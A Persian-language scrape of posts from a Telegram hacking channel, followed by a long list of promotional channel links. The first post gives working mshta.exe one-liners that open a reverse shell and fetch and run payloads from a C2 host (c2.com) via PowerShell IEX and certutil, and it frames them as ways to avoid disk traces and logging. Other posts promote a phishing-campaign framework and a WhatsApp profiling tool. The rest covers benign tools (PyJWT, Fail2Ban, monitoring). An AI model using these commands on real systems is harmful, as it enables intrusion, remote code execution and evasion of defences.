💡ترفند: mshta - ایجاد یک شل معکوس از طریق برنامه HTML

🔺فکر می‌کنید mshta.exe فقط برای اجرای فایل‌های .hta استفاده می‌شود؟ خنده‌دار است، اما نه. این یک فایل اجرایی مخفی ویندوز است که می‌تواند جاوااسکریپت و VBScript را مستقیماً از حافظه اجرا کند. این فایل توسط مایکروسافت امضا شده است، به ندرت مسدود می‌شود و حتی زمانی که PowerShell غیرفعال است، کار می‌کند. بریم سراغش!

🔺؛mshta چه قابلیت‌هایی دارد (و چرا این موضوع عالی است)

1⃣ اجرای اسکریپت از حافظه بدون فایل روی دیسک

mshta.exe javascript:new ActiveXObject("WScript.Shell").Run("cmd.exe /c whoami",1,true);close()

این دستور cmd.exe را اجرا می‌کند و whoami را اجرا می‌کند. بدون ایجاد فایل، بدون ثبت رویداد در Event Viewer، مستقیماً از حافظه.

2⃣ ایجاد یک شل معکوس (بدون ذخیره روی دیسک)

mshta.exe javascript:new ActiveXObject("WScript.Shell").Run("powershell -c IEX(New-Object Net.WebClient).DownloadString('http://c2.com/rev.ps1')",0,true);close()

🔺این اسکریپت را از حافظه دانلود و اجرا می‌کند. PowerShell، اگر با -ExecutionPolicy Bypass اجرا شود، در تاریخچه ثبت نمی‌شود.

3⃣ دانلود بار مفید از یک سرور از راه دور

mshta.exe javascript:new ActiveXObject("WScript.Shell").Run("certutil -urlcache -split -f http://c2.com/beacon.exe beacon.exe && beacon.exe",0,true);close()

🔺ترکیب mshta و certutil به شما امکان می‌دهد یک فایل را بدون استفاده از PowerShell دانلود و اجرا کنید.

t.me/Hack4Man

؛Phishing Frenzy — یک چارچوب برای حملات فیشینگ

🔺؛Phishing Frenzy یک ابزار قدرتمند و متن‌باز است که برای ایجاد و مدیریت کمپین‌های فیشینگ طراحی شده است.

🔺این ابزار، تمام عملکردهای لازم را برای خودکارسازی حملات فیشینگ در اختیار کاربران قرار می‌دهد، از جمله ایجاد وب‌سایت‌های جعلی، ارسال ایمیل‌های فیشینگ و ردیابی نتایج حملات.

📌لینک گیت هاپ

t.me/Hack4Man

📦 کتابخانه روز: PyJWT — کار با توکن‌های وب JSON

؛JWT یک استاندارد برای انتقال امن داده‌ها بین طرفین است. PyJWT یک کتابخانه برای ایجاد و اعتبارسنجی این توکن‌ها است.

نصب:
pip install pyjwt

مثال: ایجاد و بررسی توکن:

import jwt
import datetime

SECRET_KEY = "your-secret-key"

# 1. ایجاد توکن

payload = {
    "user_id": 123,
    "username": "alex",
    "exp": datetime.datetime.now(datetime.UTC) + datetime.timedelta(hours=1)
}
token = jwt.encode(payload, SECRET_KEY, algorithm="HS256")
print(f"توکن: {token}")

# 2. بررسی توکن

try:
    decoded = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
    print(f"سلام، {decoded['username']}!")
except jwt.ExpiredSignatureError:
    print("توکن منقضی شده است")
except jwt.InvalidTokenError:
    print("توکن نامعتبر است")

t.me/Hack4Man

📊یک ترمینال، مانیتورینگ مستقل را ارائه می‌دهد – نیازی به اجرای برنامه‌هایی مانند htop، iotop، nethogs و df نیست.

🛡یک رابط کاربری مبتنی بر متن (TUI) برای مانیتورینگ سیستم، نوشته شده با زبان Rust: دارای 6 تب با نمودارها برای CPU (هر هسته به صورت جداگانه)، حافظه، دیسک‌ها، شبکه، دما و باتری؛ قابل اجرا در سیستم‌عامل‌های Linux، macOS و Windows.

🔺تب Processes: نمایش ساختار درختی فرآیندها با قابلیت فیلتر و مرتب‌سازی بر اساس هر پارامتر + امکان خاتمه دادن به فرآیندها مستقیماً از طریق رابط کاربری.

🔺تب Disk: نمودارهای تعاملی از میزان استفاده دیسک‌ها با قابلیت نمایش تاریخچه.

🔺تب Network: نمودارهای سرعت شبکه در لحظه با قابلیت بزرگ‌نمایی زمانی.

📥 لینک به گیتهاپ

📌قابلیت سفارشی‌سازی در سطح تم‌ها، ویجت‌ها و فرکانس به‌روزرسانی. از ماوس پشتیبانی می‌شود.

t.me/Hack4Man

🛡؛PatchMon: مدیریت متمرکز به‌روزرسانی‌ها در محیط‌های سرور

🔺این ابزار برای مدیران سیستم و تیم‌های امنیتی طراحی شده است و امکان مدیریت ایمن و متمرکز به‌روزرسانی‌ها را در سرورهای مختلف فراهم می‌کند. عوامل (agents) فقط از طریق کانال‌های خروجی با سرور PatchMon ارتباط برقرار می‌کنند، بنابراین نیازی به باز کردن پورت‌ها و مواجهه با خطرات امنیتی نیست.

قابلیت‌ها:

مدیریت متمرکز پچ‌ها در تعداد زیادی سرور

عوامل از طریق اتصالات خروجی کار می‌کنند (بدون نیاز به پورت‌های باز)

نمایش کامل وضعیت به‌روزرسانی‌ها

خودکارسازی ایمن فرآیندها

🔗 GitHub: PatchMon/PatchMon

t.me/Hack4Man

✅ WhatsApp-OSINT

این ابزار، عکس‌های پروفایل واتساپ را دریافت می‌کند، حساب‌های تجاری را بررسی می‌کند، وضعیت کاربران را تعیین می‌کند و دستگاه‌های مرتبط را از طریق رابط OSINT شرکت RapidAPI تجزیه و تحلیل می‌کند.

📁 زبان: پایتون

⭐️ تعداد ستاره‌ها: 973

⬅️ لینک گیت‌هاب

t.me/Hack4Man

🛡 پیکربندی Fail2Ban در لینوکس: محافظت از سرور در برابر حملات brute-force در 5 دقیقه

؛Fail2Ban، لاگ‌های سرویس‌های سیستم را تحلیل می‌کند، فعالیت‌های مشکوک را شناسایی کرده و به طور خودکار آدرس‌های IP مهاجمان را مسدود می‌کند.

پیکربندی سریع:
# ایجاد فایل پیکربندی محلی

sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local

# ویرایش قوانین

sudo nano /etc/fail2ban/jail.local

پارامترهای پایه (در ابتدای فایل):
bantime = 10m       # مدت زمان مسدودسازی
findtime = 10m       # بازه زمانی تحلیل
maxretry = 5         # تعداد تلاش‌ها قبل از مسدودسازی

پیکربندی برای SSH:

[sshd]
enabled = true
port = ssh
logpath = /var/log/auth.log
maxretry = 5

اجرا و مدیریت:
# شروع و فعال‌سازی خودکار

sudo systemctl start fail2ban
sudo systemctl enable fail2ban

# بررسی وضعیت

sudo systemctl status fail2ban

# مشاهده آدرس‌های IP مسدود شده

sudo fail2ban-client status sshd

t.me/Hack4Man

همه کتاب های صوتی و پی دی اف...
🔹JOIN

بيشتر بدانيم بهتر زندگى كنيم
🔸️JOIN

پادکست رایگان انگلیسی
🔹JOIN

انگلیسی با فیلم و داستان
🔸️JOIN

پکیج های ناب بورسی و موفقیت
🔹JOIN

صفرتاصد هوش مصنوعی و تحلیل داده
🔸️JOIN

خود آموزهای زبان انگلیسی
🔹JOIN

موفقیت ، استخدامی ، پول پارو کن
🔸️JOIN

بازسازیِ خود؛ مسیری برای شفای زندگی
🔹JOIN

مبتکر یادگیری زبان انگلیسی در منزل
🔸️JOIN

بانک تمامی پکیج های پولی رایگان
🔹JOIN

آموزش مفتی هوش مصنوعی و🇮‌‌🇹
🔸️JOIN

گرامر کامل انگلیسی
🔹JOIN

کتاب‌های نایاب تاریخی و طبی
🔸️JOIN

سیرتاپیاز هک و امنیت رو قورت بده
🔹JOIN

بدنسازی | ورزش | سلامتی
🔸️JOIN

سیرتاپیاز برنامه نویسی رو قورت بده
🔹JOIN

مرجع ایمووی های خاص
🔸️JOIN

هوش مصنوعی در خدمت دانشجو
🔹JOIN

یادگیری انگلیسی سخت نیست
🔸️JOIN

مرجع اصطلاحات و اسلنگ
🔹JOIN

ترفند های طلایی کامپیوتر و موبایل
🔸️JOIN

دانلود رایگان دوره های آموزشی
🔹JOIN

سیر تا پیاز انگلیسی قورت بده
🔸️JOIN

مرجع آهنگ‌ انگلیسی و فرانسوی
🔹JOIN

انواع VPN + کانفیگ نامحدود (( رایگان ))
🔸️JOIN

یادگیری مکالمه انگلیسی در منزل
🔹JOIN

اموزش مفتی هک و امنیت از پایه فول رایگان
🔸️JOIN

کانال حسابداری و آموزش اکسل و مالی
🔹JOIN

خودآموز آیلتس و تافل
🔸️JOIN

کودکان دو زبانه به روش علمی
🔹JOIN

آموزش عبور از سد فیلترینگ هوشمند
🔸️JOIN

فول پکیج های پولی رایگان دانلود کنید
🔹JOIN

منبع تمام بازی های هک شده
🔸️JOIN

سیر تا پیاز هک و امنیت (فول رایگان)
🔹JOIN

آموزش کامل « دستورات ترموکس »
🔸️JOIN

آموزش اهنگسازی و ریمیکس
🔹JOIN

آموزش میکس و مسترینگ برای همه
🔸️JOIN

آموزش تخصصی روابط بین‌الملل
🔹JOIN

کانال آزمون استخدامی دستگاههای اجرایی
🔸️JOIN

هر ترفندی میخوای رایگان دانلود کن
🔹JOIN

دانلود رایگان 2 ترابایت پک آهنگسازی و ادیت
🔸️JOIN

اموزش مفتی 0 تا 100 هک
🔹JOIN

آموزش هوش مصنوعی و یادگیری ماشین
🔸️JOIN

پلتفرم درمانی شفای زندگی
🔹JOIN

2ترابایت پکیج هک در دسترس عموم
🔸️JOIN

10ترابایت پکیج های 2026
🔹JOIN

آموزش مفتی برنامه نویسی و امنیت
🔸️JOIN

فول انگلیسی صحبت کن
🔹JOIN

دانشگاه آنلاین روانشناسی در تلگرام
🔸️JOIN

بزرگترین کتابخانه رااااااایگان تلگرام
🔹JOIN

پکیج های ذهن ثروت ساز
🔸️JOIN

بانک PDF فایل کتاب جزوه همینجاست
🔹JOIN

مرجع آهنگ های هشت بعدی 8D
🔸️JOIN

خداااااای شغل$یابی / استخدام رایگااااااان
🔹JOIN

پروژه های رایگان ادیت با موبایل
🔸️JOIN

اولین کانال آهنگ سه بعدی 3D در ایران
🔹JOIN

منبع بیو و والپیپرهای خفن
🔸️JOIN

هنر خوانش و تحلیل متن
🔹JOIN

نکات کاربردی TOEFL و IELTS
🔸️JOIN

کانال ویژه دانشجویان و افراد جویای کار
🔹JOIN

آموزش مفتی برنامه نویسی (100% رایگان)
🔸️JOIN

دوره های هوش مصنوعی و علم داده
🔹JOIN

هندسه‌ی زیبایی در جهان
🔸️JOIN

انگلیسی از صفر تا صد با ویس استاد
🔹JOIN

هرفایل کتابی میخوای رایگان دانلود کن
🔸️JOIN

کار با حقوق 4 الی 6 میلیون تومان Vip
🔹JOIN

منبع برنامه‌های مود شده اندروید
🔸️JOIN

ترانہ های درخواستی
🔹JOIN

کتاب های صوتی؛ راز های موفقیت
🔸️JOIN

آگهی رایگان کاریابی VIP
🔹JOIN

ارزش این کانال 200میلیون تخمین شده
🔸️JOIN

آموزش علوم خیفه و دعانویسی
🔹JOIN

انگلیسی از پایه تا پیشرفته 4 ماهه(فشرده)
🔸️JOIN

کیهانشناسی و کوانتوم + علم نجوم
🔹JOIN

آموزش هک و امنیت از سطح صفر
🔸️JOIN

آموزش تکنیک های زبان انگلیسی
🔹JOIN

آموزش رایگان سرمایه‌گذاری، بورس و مالی
🔸️JOIN

کاریابی مدرن و استخدام ویژه
🔹JOIN

ادیتورررررر حرفه ای شو + ابزار رایگان
🔸️JOIN

کاریابی دانشجویی/ درآمدزایی/ استخدام
🔹JOIN

دنیای کتاب صوتی و PDF
🔸️JOIN

آموزش مقاله نویسی با هوش مصنوعی
🔹JOIN

کانال VIP ما رایگان شد
🔸️JOIN

تقویت انگلیسی با 363 کارتون 8 دقیقه ای
🔹JOIN

فیلم‌های ناب و فاخر سینما را اینجا پیدا کنید
🔸️JOIN

اموزش کاریزما و ایده رابطه
🔹JOIN

آرشیو کتابخانه مجازی
🔸️JOIN

یادگیری پیشرفته انگلیسی با اخبار  VOA
🔹JOIN

پادکست و کتاب صوتی رایگان
🔸️JOIN

انگلیسی رو قورت بده
🔹JOIN